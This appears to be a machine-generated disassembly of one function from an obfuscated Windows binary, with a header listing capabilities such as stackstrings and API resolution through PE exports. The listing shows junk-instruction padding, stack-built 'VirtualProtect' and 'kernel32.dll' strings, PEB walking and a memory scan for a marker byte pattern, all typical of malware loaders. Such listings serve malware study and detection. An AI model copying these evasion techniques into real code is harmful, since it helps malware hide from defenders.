Function at 0x456134
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
add ebx, 0x107b3
pop ebx
push esi
push ebx
add esp, 4
and esi, 0x119f3
xor esi, 0x6ed
or esi, 0x1533
pop esi
push ebx
sub ebx, 0x10ca3
xor ebx, 0xbda1
pop ebx
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0x49c], eax
mov ecx, dword [ebp - 0x49c]
mov dword [ebp - 0x4a0], ecx
lea edx, [ebp - 0x2b0]
push edx
call dword [ebp - 0x4a0]
test eax, eax
jne 0x45443a
push ecx
push ecx
add esp, 4
call 0x45440d
add byte [edi + 0x4e], al
cmp al, byte [edx + edi + 0x4c]
cmp al, 0x48
inc ebp
add esp, 4
pop ecx
push esi
add esi, 0xac98
call 0x454427
add byte [edx + 0x3c], cl
dec eax
dec eax
cmp byte [ecx + 0x40], al
inc edx
dec eax
add esp, 4
pop esi
mov dword [ebp - 0x1b4], 0
jmp 0x454efb
push edx
push edi
add esp, 4
or edx, 0x7160
xor edx, 0x944f
jmp 0x454453
sub edx, 0x5566
pop edx
push ecx
push eax
add esp, 4
jmp 0x454465
or ecx, 0xdbaf
pop ecx
push eax
push ecx
add esp, 4
add eax, 0x137e0
sub eax, 0x5876
pop eax
push edi
push eax
add esp, 4
sub edi, 0x154b7
pop edi
push ebx
push ebx
add esp, 4
sub ebx, 0xfdf8
pop ebx
push esi
xor esi, 0x297
pop esi
mov eax, dword fs:[0x18]
mov dword [ebp - 0x4a4], eax
push edx
or edx, 0x146c1
call 0x4544c0
add byte [ecx + 0x44], cl
inc eax
dec ebp
xor al, 0x45
dec esp
cmp byte [eax - 0x7d], al
les eax, [ecx + eax*4]
ljmp 0xae8
lea ecx, [ebp - 0x1b0]
push ecx
mov edx, dword [ebp + 4]
push edx
push 6
call dword [ebp - 0x1b4]
test eax, eax
jne 0x454f49
push edi
push ebx
add esp, 4
add edi, 0x6c8f
add edi, 0x3e9a
jmp 0x454f29
pop edi
push ecx
sub ecx, 0xa5b4
pop ecx
push eax
push esi
add esp, 4
add eax, 0xd28
sub eax, 0x13bc9
pop eax
jmp 0x457916
push eax
push ebx
add esp, 4
or eax, 0xda79
add eax, 0x5d2f
call 0x454f69
add byte [eax + 0x3f], al
xor dh, byte [ebx]
inc ebp
cmp bh, byte [edx]
inc ebx
inc ebp
add esp, 4
pop eax
push ecx
xor ecx, 0x8767
sub ecx, 0x145de
pop ecx
cmp dword [ebp - 0x1b0], 0
je 0x457907
push eax
push esi
add esp, 4
or eax, 0x9aa9
sub eax, 0x8c09
call 0x454fa6
add byte [ebx], dh
inc ebx
aaa
xor esi, dword [edx]
dec ebx
dec edi
add esp, 4
pop eax
push eax
jmp 0x454fb3
and eax, 0x16a1f
pop eax
mov eax, dword [ebp - 0x1b0]
mov dword [ebp - 0x210], eax
push esi
push ecx
add esp, 4
or esi, 0x5a7e
jmp 0x454fd9
pop esi
push eax
push ecx
add esp, 4
add eax, 0x15101
jmp 0x454feb
sub eax, 0x7cf8
or eax, 0xd742
pop eax
cmp dword [ebp - 0x210], 0
jne 0x455038
push edx
push ebx
add esp, 4
xor edx, 0x8303
call 0x455018
add byte [edx], dh
aaa
cmp al, 0x3b
inc esi
add esp, 4
pop edx
push eax
push ecx
add esp, 4
jmp 0x455026
and eax, 0x10824
jmp 0x455032
pop eax
jmp 0x457916
push edx
call 0x455047
add byte [edi], dh
cmp dword [edx + ecx*2 + 0x4a], eax
inc eax
inc eax
xor eax, dword [ebx + 0x5eb04c4]
xor eax, 0x4043444f
add edx, 0xb067
call 0x455066
add byte [esi + 0x4d], cl
inc eax
dec edi
dec esi
inc ebp
xor al, 0x44
dec eax
add esp, 4
pop edx
mov ecx, dword [ebp - 0x210]
mov edx, dword [ebp - 0x210]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x2d0], edx
jne 0x4550b8
push esi
sub esi, 0x183a2
or esi, 0x1e7f
xor esi, 0x125e9
pop esi
push eax
and eax, 0xcec0
xor eax, 0x174ec
pop eax
push edi
or edi, 0x97a8
jmp 0x4550b2
pop edi
jmp 0x457916
mov eax, dword [ebp - 0x2d0]
mov ecx, dword [eax + 0x50]
mov dword [ebp - 0x3f0], ecx
push edx
xor edx, 0x157df
xor edx, 0x176aa
add edx, 0x68d8
or edx, 0xbd87
pop edx
push edi
push ebx
add esp, 4
or edi, 0xf96c
and edi, 0x17425
sub edi, 0x12240
pop edi
mov edx, dword [ebp - 0x1b0]
mov dword [ebp - 0x218], edx
push edi
push esi
add esp, 4
add edi, 0x11fe6
pop edi
push edi
and edi, 0x12e2e
pop edi
push edi
push esi
add esp, 4
sub edi, 0x14d46
jmp 0x45512d
jmp 0x455136
pop edi
mov eax, dword [ebp - 0x218]
add eax, dword [ebp - 0x3f0]
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x218], 0
je 0x457907
cmp dword [ebp - 0x22c], 0
je 0x457907
push ebx
push ebx
add esp, 4
call 0x455177
add byte [eax + 0x34], dl
cmp dl, byte [eax + 0x35]
inc ecx
cmp dl, byte [eax + 0x4f]
add esp, 4
jmp 0x455181
call 0x455191
add byte [ebx], dh
cmp eax, 0x38484f33
dec ebp
dec esp
dec esi
add esp, 4
pop ebx
mov byte [ebp - 0x285], 7
mov byte [ebp - 1], 2
jmp 0x4551ab
mov cl, byte [ebp - 1]
add cl, 1
mov byte [ebp - 1], cl
movzx edx, byte [ebp - 1]
cmp edx, 7
jge 0x457905
push edi
sub edi, 0x17659
pop edi
push edx
and edx, 0xc55f
call 0x4551d3
add byte [edx + 0x3d], cl
cmp eax, 0x833d4439
les eax, [ebx + ebp*8]
add eax, 0x4e504234
inc ebx
pop edx
push eax
push edi
add esp, 4
xor eax, 0x13020
pop eax
mov byte [ebp - 0x1c8], 0xde
mov byte [ebp - 0x1c7], 0xde
mov byte [ebp - 0x1c6], 0xee
mov byte [ebp - 0x1c5], 0xee
mov byte [ebp - 0x1c4], 0xde
mov byte [ebp - 0x1c3], 0xde
mov byte [ebp - 0x1c2], 0xee
mov byte [ebp - 0x1c1], 0xee
mov byte [ebp - 0x1c0], 0xcc
mov byte [ebp - 0x1bf], 0xcc
mov byte [ebp - 0x1be], 0
push esi
push ecx
add esp, 4
add esi, 0x8f1d
jmp 0x455248
sub esi, 0xbb8a
pop esi
push eax
or eax, 0xa95b
add eax, 0xba42
or eax, 0x5a01
sub eax, 0xbfb8
pop eax
mov eax, 1
imul ecx, eax, 0
mov dl, byte [ebp - 1]
mov byte [ebp + ecx - 0x1be], dl
push ecx
sub ecx, 0x13993
and ecx, 0xacd2
pop ecx
push ebx
push eax
add esp, 4
xor ebx, 0x39dd
call 0x4552a3
add byte [ecx + 0x38], al
dec esi
inc edx
inc edx
cmp al, 0x32
dec esp
add esp, 4
add ebx, 0x282a
pop ebx
mov dword [ebp - 0x4b8], 0xb
mov byte [ebp - 0x1a4], 0x8b
mov byte [ebp - 0x1a3], 0xe5
mov byte [ebp - 0x1a2], 0x5d
mov byte [ebp - 0x1a1], 0xc3
push ebx
push edx
add esp, 4
or ebx, 0x14d92
add ebx, 0x917f
pop ebx
push ecx
sub ecx, 0x5525
and ecx, 0xeafb
xor ecx, 0xeaf9
pop ecx
push edx
push edx
add esp, 4
xor edx, 0xb6e6
pop edx
mov dword [ebp - 0x4b4], 4
mov dword [ebp - 0x34], 0
mov dword [ebp - 0xcc], 0
mov dword [ebp - 0x328], 0
mov dword [ebp - 0x214], 0
jmp 0x455345
mov eax, dword [ebp - 0x214]
add eax, 1
mov dword [ebp - 0x214], eax
push ecx
and ecx, 0xbaea
pop ecx
push esi
push eax
add esp, 4
sub esi, 0x356
call 0x455365
add byte [ebx + edi + 0x35], cl
xor bh, byte [eax]
xor eax, 0x4c4834e
or esi, 0x15e37
pop esi
push edi
xor edi, 0xaaaf
pop edi
mov ecx, dword [ebp - 0x214]
add ecx, dword [ebp - 0x218]
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 0x34]
cmp edx, dword [ebp - 0x22c]
jb 0x4553c8
push eax
jmp 0x45539a
jmp 0x4553a3
xor eax, 0x2114
pop eax
push ecx
and ecx, 0x2dc8
pop ecx
push edi
jmp 0x4553bc
add edi, 0x17091
pop edi
jmp 0x455a7f
mov dword [ebp - 0x21c], 0xb
mov eax, 1
imul ecx, eax, 0
lea edx, [ebp + ecx - 0x1c8]
mov dword [ebp - 0x2d4], edx
push ebx
xor ebx, 0x1697a
pop ebx
push ecx
push esi
add esp, 4
or ecx, 0xe464
and ecx, 0x5af8
and ecx, 0x155a0
add ecx, 0x7b5c
pop ecx
push eax
push eax
add esp, 4
and eax, 0xe626
pop eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x1ac], eax
push ebx
xor ebx, 0x2160
pop ebx
push ebx
push ebx
add esp, 4
or ebx, 0x12938
or ebx, 0xa109
call 0x45544a
add byte [ebx + 0x3d], cl
inc eax
inc ebx
cmp dword [ebp + 0x3f], eax
cmp dh, byte [esi]
add esp, 4
sub ebx, 0x16a53
pop ebx
mov ecx, dword [ebp - 0x2d4]
mov dword [ebp - 0x1a8], ecx
mov dword [ebp - 0x220], 0
push ebx
push eax
add esp, 4
xor ebx, 0xdd62
or ebx, 0xcd68
pop ebx
push ecx
push ebx
add esp, 4
sub ecx, 0x1222c
pop ecx
push ebx
add ebx, 0xb637
or ebx, 0xc92e
jmp 0x45549b
pop ebx
mov edx, dword [ebp - 0x34]
cmp edx, dword [ebp - 0x2d4]
jne 0x4554ea
push eax
push edx
add esp, 4
jmp 0x4554b1
add eax, 0x101f4
or eax, 0x16e5e
call 0x4554c9
add byte [ebx + 0x38], cl
inc ebp
dec ebx
cmp eax, 0x5804c483
push edi
push edx
add esp, 4
or edi, 0x138e6
pop edi
mov eax, dword [ebp - 0x220]
mov dword [ebp - 0x2dc], eax
jmp 0x455682
cmp dword [ebp - 0x21c], 0
jle 0x455644
push ebx
call 0x455508
add byte [esi], bh
cmp dword [ebx], esi
dec ebx
inc ebp
inc ecx
aaa
push eax
aaa
add esp, 4
add ebx, 0x17b14
xor ebx, 0x126a3
pop ebx
push esi
jmp 0x455522
sub esi, 0x8373
pop esi
mov ecx, dword [ebp - 0x1ac]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x1a8]
movzx ecx, byte [eax]
cmp edx, ecx
je 0x4555ae
push edx
xor edx, 0x10b63
sub edx, 0xb40c
and edx, 0xaca5
xor edx, 0x7144
pop edx
push eax
push edi
add esp, 4
or eax, 0x6361
xor eax, 0x37bd
or eax, 0xb6fb
pop eax
mov edx, dword [ebp - 0x1ac]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x1a8]
movzx edx, byte [ecx]
cmp eax, edx
jle 0x455593
mov dword [ebp - 0x2d8], 1
jmp 0x45559d
mov dword [ebp - 0x2d8], 0xffffffff
mov eax, dword [ebp - 0x2d8]
mov dword [ebp - 0x220], eax
jmp 0x455644
push esi
push esi
add esp, 4
and esi, 0x15b84
sub esi, 0x3258
sub esi, 0x160e7
xor esi, 0xb356
pop esi
push ebx
push ecx
add esp, 4
jmp 0x4555d9
and ebx, 0xd78e
pop ebx
mov ecx, dword [ebp - 0x21c]
sub ecx, 1
mov dword [ebp - 0x21c], ecx
mov edx, dword [ebp - 0x1ac]
add edx, 1
mov dword [ebp - 0x1ac], edx
push eax
push eax
add esp, 4
call 0x45560f
add byte [ebp + 0x4a], al
cmp dword [ecx + ecx*2 + 0x41], eax
add esp, 4
pop eax
push edx
push eax
add esp, 4
or edx, 0x3b25
or edx, 0x965c
pop edx
push eax
push ebx
add esp, 4
jmp 0x45562f
pop eax
mov eax, dword [ebp - 0x1a8]
add eax, 1
mov dword [ebp - 0x1a8], eax
jmp 0x4554ea
push eax
add eax, 0x11449
and eax, 0xd420
add eax, 0x99b3
pop eax
push edx
push edx
add esp, 4
and edx, 0x1430
and edx, 0x8776
pop edx
push edi
push ecx
add esp, 4
add edi, 0x1229f
pop edi
mov ecx, dword [ebp - 0x220]
mov dword [ebp - 0x2dc], ecx
cmp dword [ebp - 0x2dc], 0
jne 0x455a7a
push ebx
push eax
add esp, 4
jmp 0x455699
call 0x4556a7
add byte [eax + 0x49], cl
xor al, 0x50
inc ecx
xor al, 0x44
add esp, 4
pop ebx
push ebx
add ebx, 0x7b24
pop ebx
push edi
add edi, 0x11a05
sub edi, 0x157ee
pop edi
mov edx, dword [ebp - 0x34]
add edx, 0xb
mov dword [ebp - 0x34], edx
push ecx
push ecx
add esp, 4
call 0x4556de
add byte [eax + eax*2 + 0x4e], al
dec eax
cmp eax, 0x3b3c3c47
add esp, 4
pop ecx
push eax
add eax, 0x119dc
or eax, 0xee05
and eax, 0x8b08
add eax, 0x133e8
pop eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0x224], 4
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0x1a4]
mov dword [ebp - 0x2e0], eax
push edi
push edx
add esp, 4
and edi, 0x7634
pop edi
push ebx
push edi
add esp, 4
sub ebx, 0x4099
xor ebx, 0x9820
pop ebx
push edi
sub edi, 0x15d4a
xor edi, 0x9974
add edi, 0x3654
pop edi
mov ecx, dword [ebp - 0x34]
mov dword [ebp - 0x1a0], ecx
push edx
push esi
add esp, 4
add edx, 0xd913
and edx, 0x150d2
pop edx
push edx
xor edx, 0xfdb
xor edx, 0x6ab
call 0x45578d
add byte [ebx + eax*2 + 0x3e], al
inc esi
xor eax, 0x40493236
add esp, 4
pop edx
mov edx, dword [ebp - 0x2e0]
mov dword [ebp - 0x19c], edx
mov dword [ebp - 0x228], 0
push esi
jmp 0x4557b1
pop esi
push eax
push edx
add esp, 4
and eax, 0x3edd
sub eax, 0x589e
call 0x4557cf
add byte [ebx], dh
cmp eax, dword [esi + 0x3a]
cmp al, byte [ebx - 0x7d]
les eax, [ecx + eax*4]
invalid
jmp 0x455336
mov edx, dword [ebp - 0xcc]
cmp edx, dword [ebp - 0x22c]
je 0x457900
push edi
call 0x455aa2
add byte [ebx + ecx*2 + 0x43], al
inc ebp
cmp al, 0x41
dec ecx
inc edx
cmp byte [edx], dh
add esp, 4
xor edi, 0x16c8f
call 0x455ab7
add byte [ebx + 0x32], cl
xor eax, 0x8348453b
les eax, [edi + ebx*2]
push esi
or esi, 0x128dc
pop esi
mov byte [ebp - 0x184], 0x56
mov byte [ebp - 0x183], 0x69
mov byte [ebp - 0x182], 0x72
mov byte [ebp - 0x181], 0x74
mov byte [ebp - 0x180], 0x75
mov byte [ebp - 0x17f], 0x61
mov byte [ebp - 0x17e], 0x6c
mov byte [ebp - 0x17d], 0x50
mov byte [ebp - 0x17c], 0x72
mov byte [ebp - 0x17b], 0x6f
mov byte [ebp - 0x17a], 0x74
mov byte [ebp - 0x179], 0x65
mov byte [ebp - 0x178], 0x63
mov byte [ebp - 0x177], 0x74
mov byte [ebp - 0x176], 0
mov dword [ebp - 0x47c], 0
push edi
push ecx
add esp, 4
sub edi, 0xb22d
sub edi, 0xb58d
jmp 0x455b50
pop edi
push esi
push ecx
add esp, 4
jmp 0x455b5b
or esi, 0xbe79
sub esi, 0x10e79
pop esi
mov eax, dword [ebp - 0x4a8]
mov dword [ebp - 0x1bc], eax
push ecx
push ecx
add esp, 4
sub ecx, 0x1438b
sub ecx, 0x11634
jmp 0x455b8b
pop ecx
push ecx
sub ecx, 0x15cb6
or ecx, 0x1491a
add ecx, 0x71bb
xor ecx, 0x1581f
pop ecx
push esi
jmp 0x455baf
and esi, 0x15c66
add esi, 0x76aa
sub esi, 0x18241
pop esi
push edx
sub edx, 0x11ce3
pop edx
push ebx
sub ebx, 0x1748
or ebx, 0x17647
pop ebx
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x3f4], ecx
push edx
push eax
add esp, 4
add edx, 0x9e9f
and edx, 0x355f
pop edx
push edx
or edx, 0x13c18
or edx, 0x8472
pop edx
push ebx
push ebx
add esp, 4
xor ebx, 0x4398
sub ebx, 0x7670
pop ebx
mov edx, dword [ebp - 0x3f4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x3f8], eax
push ecx
push ecx
add esp, 4
sub ecx, 0x14943
jmp 0x455c37
xor ecx, 0x17668
add ecx, 0x6629
pop ecx
push ebx
add ebx, 0x16b9b
or ebx, 0x1703d
and ebx, 0x16b3d
pop ebx
mov ecx, dword [ebp - 0x3f8]
mov dword [ebp - 0x2ec], ecx
cmp dword [ebp - 0x2ec], 0
jne 0x455cab
push edi
add edi, 0x1789e
pop edi
push ebx
push ecx
add esp, 4
call 0x455c89
add byte [edx + 0x3a], al
dec edx
dec esi
push eax
cmp byte [0xc4833248], bh
add al, 0x81
sub dword [ebp], eax
add byte [ebx + 0x51], bl
push edi
add esp, 4
or ecx, 0xdaca
pop ecx
mov dword [ebp - 0x70], 0
jmp 0x456037
push ebx
push edx
add esp, 4
sub ebx, 0x55aa
pop ebx
push edx
xor edx, 0xb9c0
or edx, 0x6419
sub edx, 0x9207
add edx, 0xaabf
pop edx
push eax
push ebx
add esp, 4
and eax, 0x123ff
pop eax
mov edx, dword [ebp - 0x2ec]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0x238], ecx
cmp dword [ebp - 0x238], 0
jne 0x455d36
push eax
push ecx
add esp, 4
xor eax, 0xc983
or eax, 0x4a50
pop eax
push eax
push edx
add esp, 4
add eax, 0xf6ce
pop eax
push ecx
xor ecx, 0x17fb2
jmp 0x455d23
and ecx, 0x142c
pop ecx
mov dword [ebp - 0x70], 0
jmp 0x456037
mov edx, dword [ebp - 0x238]
mov dword [ebp - 0xa0], edx
push ecx
push eax
add esp, 4
jmp 0x455d4e
sub ecx, 0x19bc
xor ecx, 0x16897
pop ecx
push ebx
push eax
add esp, 4
add ebx, 0xacf3
or ebx, 0x2936
jmp 0x455d73
pop ebx
lea eax, [ebp - 0x2b0]
mov dword [ebp - 0x234], eax
mov ecx, dword [ebp - 0xa0]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x230], edx
push eax
add eax, 0x6869
xor eax, 0x143bc
add eax, 0x3b2d
sub eax, 0xc69a
pop eax
push eax
push edx
add esp, 4
and eax, 0x1321e
and eax, 0xfdbd
or eax, 0x11a17
pop eax
xor eax, eax
mov word [ebp - 0x60], ax
xor ecx, ecx
mov word [ebp - 0x14], cx
push esi
and esi, 0x14b15
pop esi
push edx
push edi
add esp, 4
and edx, 0x4ab7
pop edx
push eax
push eax
add esp, 4
or eax, 0x6ff
pop eax
push esi
push edx
add esp, 4
or esi, 0x17c7e
add esi, 0x82b2
pop esi
mov edx, dword [ebp - 0x230]
mov ax, word [edx]
mov word [ebp - 0x1ca], ax
mov ecx, dword [ebp - 0x230]
add ecx, 2
mov dword [ebp - 0x230], ecx
mov dx, word [ebp - 0x1ca]
mov word [ebp - 0x60], dx
push eax
and eax, 0x102b5
pop eax
push eax
push edx
add esp, 4
call 0x455e43
add byte [edi], bh
cmp al, 0x48
dec ebx
inc eax
dec edx
push eax
add esp, 4
pop eax
push edi
sub edi, 0x42b6
sub edi, 0x3717
or edi, 0x13e02
pop edi
mov eax, dword [ebp - 0x234]
mov cx, word [eax]
mov word [ebp - 0x1cc], cx
mov edx, dword [ebp - 0x234]
add edx, 2
mov dword [ebp - 0x234], edx
mov ax, word [ebp - 0x1cc]
mov word [ebp - 0x14], ax
push ecx
call 0x455e93
add byte [ecx], bh
dec edi
inc edx
dec ecx
dec eax
xor eax, 0x4c4833b
pop ecx
push ecx
push esi
add esp, 4
sub ecx, 0x49c3
jmp 0x455eaa
xor ecx, 0x7a4b
and ecx, 0x1ef0
pop ecx
movzx ecx, word [ebp - 0x14]
test ecx, ecx
jne 0x455ed4
movzx edx, word [ebp - 0x60]
movzx eax, word [ebp - 0x14]
sub edx, eax
mov dword [ebp - 0x2f4], edx
jmp 0x455f57
movzx ecx, word [ebp - 0x60]
movzx edx, word [ebp - 0x14]
cmp ecx, edx
je 0x455dcd
movzx eax, word [ebp - 0x60]
xor eax, 0x20
movzx ecx, word [ebp - 0x14]
cmp eax, ecx
je 0x455dcd
push ecx
push ecx
add esp, 4
xor ecx, 0x6359
xor ecx, 0x179d5
sub ecx, 0x16522
or ecx, 0x11bd4
pop ecx
push ecx
add ecx, 0xcb0a
and ecx, 0xf8a6
jmp 0x455f28
pop ecx
movzx edx, word [ebp - 0x60]
movzx eax, word [ebp - 0x14]
cmp edx, eax
jge 0x455f41
mov dword [ebp - 0x2f0], 0xffffffff
jmp 0x455f4b
mov dword [ebp - 0x2f0], 1
mov ecx, dword [ebp - 0x2f0]
mov dword [ebp - 0x2f4], ecx
cmp dword [ebp - 0x2f4], 0
jne 0x455fa0
push esi
push edi
add esp, 4
xor esi, 0x14480
or esi, 0xb373
pop esi
push edi
xor edi, 0x14742
pop edi
push ebx
push ecx
add esp, 4
add ebx, 0x1e7f
add ebx, 0x13792
and ebx, 0x11da6
pop ebx
mov edx, dword [ebp - 0xa0]
mov dword [ebp - 0x70], edx
jmp 0x456037
mov eax, dword [ebp - 0xa0]
mov ecx, dword [eax]
mov dword [ebp - 0xa0], ecx
push ebx
and ebx, 0x1f04
xor ebx, 0x33f7
jmp 0x455fc0
jmp 0x455fc7
pop ebx
push ebx
push edx
add esp, 4
or ebx, 0x65f8
sub ebx, 0x67fc
add ebx, 0x6251
pop ebx
mov edx, dword [ebp - 0xa0]
cmp edx, dword [ebp - 0x238]
je 0x455ffe
mov eax, dword [ebp - 0xa0]
cmp dword [eax + 0x30], 0
jne 0x455d42
push eax
push edi
add esp, 4
jmp 0x456009
xor eax, 0x9827
xor eax, 0xed9f
sub eax, 0xa8d
pop eax
push eax
sub eax, 0x96d
sub eax, 0xd09f
add eax, 0x84dc
pop eax
mov dword [ebp - 0x70], 0
cmp dword [ebp - 0x70], 0
jne 0x456ced
push edi
push eax
add esp, 4
xor edi, 0x4e14
or edi, 0x1806d
and edi, 0xdf14
pop edi
push edx
or edx, 0x117c1
and edx, 0xc65a
xor edx, 0xb4ef
sub edx, 0x1592d
pop edx
mov ecx, 0x6b
mov word [ebp - 0x3d8], cx
mov edx, 0x65
mov word [ebp - 0x3d6], dx
mov eax, 0x72
mov word [ebp - 0x3d4], ax
mov ecx, 0x6e
mov word [ebp - 0x3d2], cx
mov edx, 0x65
mov word [ebp - 0x3d0], dx
mov eax, 0x6c
mov word [ebp - 0x3ce], ax
mov ecx, 0x33
mov word [ebp - 0x3cc], cx
mov edx, 0x32
mov word [ebp - 0x3ca], dx
mov eax, 0x2e
mov word [ebp - 0x3c8], ax
mov ecx, 0x64
mov word [ebp - 0x3c6], cx
mov edx, 0x6c
mov word [ebp - 0x3c4], dx
mov eax, 0x6c
mov word [ebp - 0x3c2], ax
xor ecx, ecx
mov word [ebp - 0x3c0], cx
push ebx
add ebx, 0x44c8
or ebx, 0x30f5
xor ebx, 0x1337f
pop ebx
push edi
sub edi, 0x16ee9
call 0x456134
add byte [ebx + 0x4b], cl
cmp byte [ecx + 0x4f], al
inc eax
xor eax, 0x8104c483
iretd
push edx
push ecx
add esp, 4
or edx, 0x17211
add edx, 0x8de1
pop edx
push edi
and edi, 0x150eb
pop edi
push ecx
push edx
add esp, 4
xor ecx, 0x6529
pop ecx
push ecx
push ecx
add esp, 4
sub ecx, 0x58de
pop ecx
push ecx
push edx
add esp, 4
sub ecx, 0xfc34
pop ecx
push eax
push eax
add esp, 4
xor eax, 0x9b
sub eax, 0x16ee4
pop eax
push esi
xor esi, 0xbbd8
or esi, 0x4bcf
add esi, 0x14d41
pop esi
mov edx, dword fs:[0x18]
mov dword [ebp - 0x41c], edx
push edi
push edi
add esp, 4
xor edi, 0x17c19
pop edi
push ebx
sub ebx, 0x5a8d
or ebx, 0x14548
sub ebx, 0x94a7
xor ebx, 0xf193
pop ebx
push ebx
push edi
add esp, 4
or ebx, 0x140fb
pop ebx
mov eax, dword [ebp - 0x41c]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x420], ecx
push esi
and esi, 0xb614
call 0x456db3
add byte [esp + edi], dh
inc edx
dec ebx
push eax
dec esp
dec ecx
add esp, 4
sub esi, 0xa600
pop esi
push esi
push ebx
add esp, 4
sub esi, 0x15c49
pop esi
push eax
add eax, 0x16683
pop eax
mov edx, dword [ebp - 0x420]
mov dword [ebp - 0x310], edx
cmp dword [ebp - 0x310], 0
jne 0x456e24
push edx
call 0x456df4
add byte [edx], dh
aas
cmp eax, 0x4b4d3743
add esp, 4
sub edx, 0x7903
or edx, 0xd896
xor edx, 0xf0dd
pop edx
push ecx
or ecx, 0x1334d
or ecx, 0xf2f4
pop ecx
mov dword [ebp - 0x70], 0
jmp 0x4571b0
push esi
push edx
add esp, 4
or esi, 0x10b28
jmp 0x456e35
sub esi, 0xb3e2
and esi, 0x9e0b
pop esi
push ecx
push ecx
add esp, 4
or ecx, 0x14490
pop ecx
push edi
xor edi, 0x5066
pop edi
mov eax, dword [ebp - 0x310]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0x254], edx
cmp dword [ebp - 0x254], 0
jne 0x456eaf
push ebx
call 0x456e80
add byte [edi + esi], bh
inc edi
xor al, 0x39
xor eax, dword [ecx + 0x3a]
add esp, 4
jmp 0x456e8c
sub ebx, 0x10444
call 0x456e9f
add byte [ecx + 0x34], cl
dec edx
dec ecx
xor al, 0x44
dec eax
add esp, 4
pop ebx
mov dword [ebp - 0x70], 0
jmp 0x4571b0
mov eax, dword [ebp - 0x254]
mov dword [ebp - 0xa8], eax
push edi
push edx
add esp, 4
xor edi, 0x4c8d
jmp 0x456ece
pop edi
push ecx
push eax
add esp, 4
sub ecx, 0x9143
or ecx, 0x4614
and ecx, 0x120d8
xor ecx, 0x1e9c
pop ecx
lea ecx, [ebp - 0x2b0]
mov dword [ebp - 0x250], ecx
mov edx, dword [ebp - 0xa8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x24c], eax
push esi
push ebx
add esp, 4
xor esi, 0xf52e
pop esi
push ebx
push ecx
add esp, 4
xor ebx, 0xb070
xor ebx, 0x18679
pop ebx
push esi
add esi, 0x967c
xor esi, 0x2bc5
or esi, 0xf054
pop esi
xor ecx, ecx
mov word [ebp - 0x68], cx
xor edx, edx
mov word [ebp - 0x1c], dx
push edx
push ecx
add esp, 4
and edx, 0xb619
jmp 0x456f56
add edx, 0xe347
jmp 0x456f63
pop edx
push esi
add esi, 0x8b92
and esi, 0x1854f
xor esi, 0x13587
pop esi
mov eax, dword [ebp - 0x24c]
mov cx, word [eax]
mov word [ebp - 0x1d2], cx
mov edx, dword [ebp - 0x24c]
add edx, 2
mov dword [ebp - 0x24c], edx
mov ax, word [ebp - 0x1d2]
mov word [ebp - 0x68], ax
push ebx
push edi
add esp, 4
or ebx, 0xe522
xor ebx, 0xc4fd
xor ebx, 0x14b47
and ebx, 0xb00e
pop ebx
push ecx
xor ecx, 0x109d6
or ecx, 0x2bfc
xor ecx, 0x85b6
pop ecx
mov ecx, dword [ebp - 0x250]
mov dx, word [ecx]
mov word [ebp - 0x1d4], dx
mov eax, dword [ebp - 0x250]
add eax, 2
mov dword [ebp - 0x250], eax
mov cx, word [ebp - 0x1d4]
mov word [ebp - 0x1c], cx
push eax
push esi
add esp, 4
or eax, 0x16e85
pop eax
push eax
and eax, 0x16534
pop eax
push esi
push esi
add esp, 4
call 0x457026
add byte [ecx + edi], bh
aaa
aaa
dec esp
cmp al, 0x44
xor eax, dword [ebx - 0x97efb3c]
je 0x456ff9
jmp dword [esi - 0x77]
add byte [eax], al
pop esi
movzx edx, word [ebp - 0x1c]
test edx, edx
jne 0x45704d
movzx eax, word [ebp - 0x68]
movzx ecx, word [ebp - 0x1c]
sub eax, ecx
mov dword [ebp - 0x318], eax
jmp 0x4570d0
movzx edx, word [ebp - 0x68]
movzx eax, word [ebp - 0x1c]
cmp edx, eax
je 0x456f46
movzx ecx, word [ebp - 0x68]
xor ecx, 0x20
movzx edx, word [ebp - 0x1c]
cmp ecx, edx
je 0x456f46
push edi
call 0x457080
add byte [esi], dh
inc esp
aaa
aaa
xor esi, dword [0x833a3550]
les eax, [eax + ebp*8]
or byte [eax], al
add byte [eax], al
add byte [0x44404745], dh
cmp eax, 0x4c48337
xor edi, 0x185f3
pop edi
push edi
xor edi, 0x17af9
pop edi
movzx eax, word [ebp - 0x68]
movzx ecx, word [ebp - 0x1c]
cmp eax, ecx
jge 0x4570ba
mov dword [ebp - 0x314], 0xffffffff
jmp 0x4570c4
mov dword [ebp - 0x314], 1
mov edx, dword [ebp - 0x314]
mov dword [ebp - 0x318], edx
cmp dword [ebp - 0x318], 0
jne 0x457119
push edi
push edx
add esp, 4
sub edi, 0x46b2
pop edi
push ecx
and ecx, 0x15601
pop ecx
push eax
push ecx
add esp, 4
sub eax, 0x11d85
and eax, 0x4058
pop eax
push edx
push ecx
add esp, 4
add edx, 0x14fcc
pop edx
mov eax, dword [ebp - 0xa8]
mov dword [ebp - 0x70], eax
jmp 0x4571b0
mov ecx, dword [ebp - 0xa8]
mov edx, dword [ecx]
mov dword [ebp - 0xa8], edx
push edi
push eax
add esp, 4
xor edi, 0x13482
pop edi
push edx
push esi
add esp, 4
call 0x457144
add byte [ebx + 0x4b], al
cmp eax, 0x834c3d4f
les eax, [eax + ebp*8]
or dword [eax], eax
add byte [eax], al
add byte [ecx], bh
inc ecx
aaa
cmp al, 0x4e
dec eax
cmp eax, 0x4c4833e
pop edx
mov eax, dword [ebp - 0xa8]
cmp eax, dword [ebp - 0x254]
je 0x457177
mov ecx, dword [ebp - 0xa8]
cmp dword [ecx + 0x30], 0
jne 0x456ebb
push edi
push esi
add esp, 4
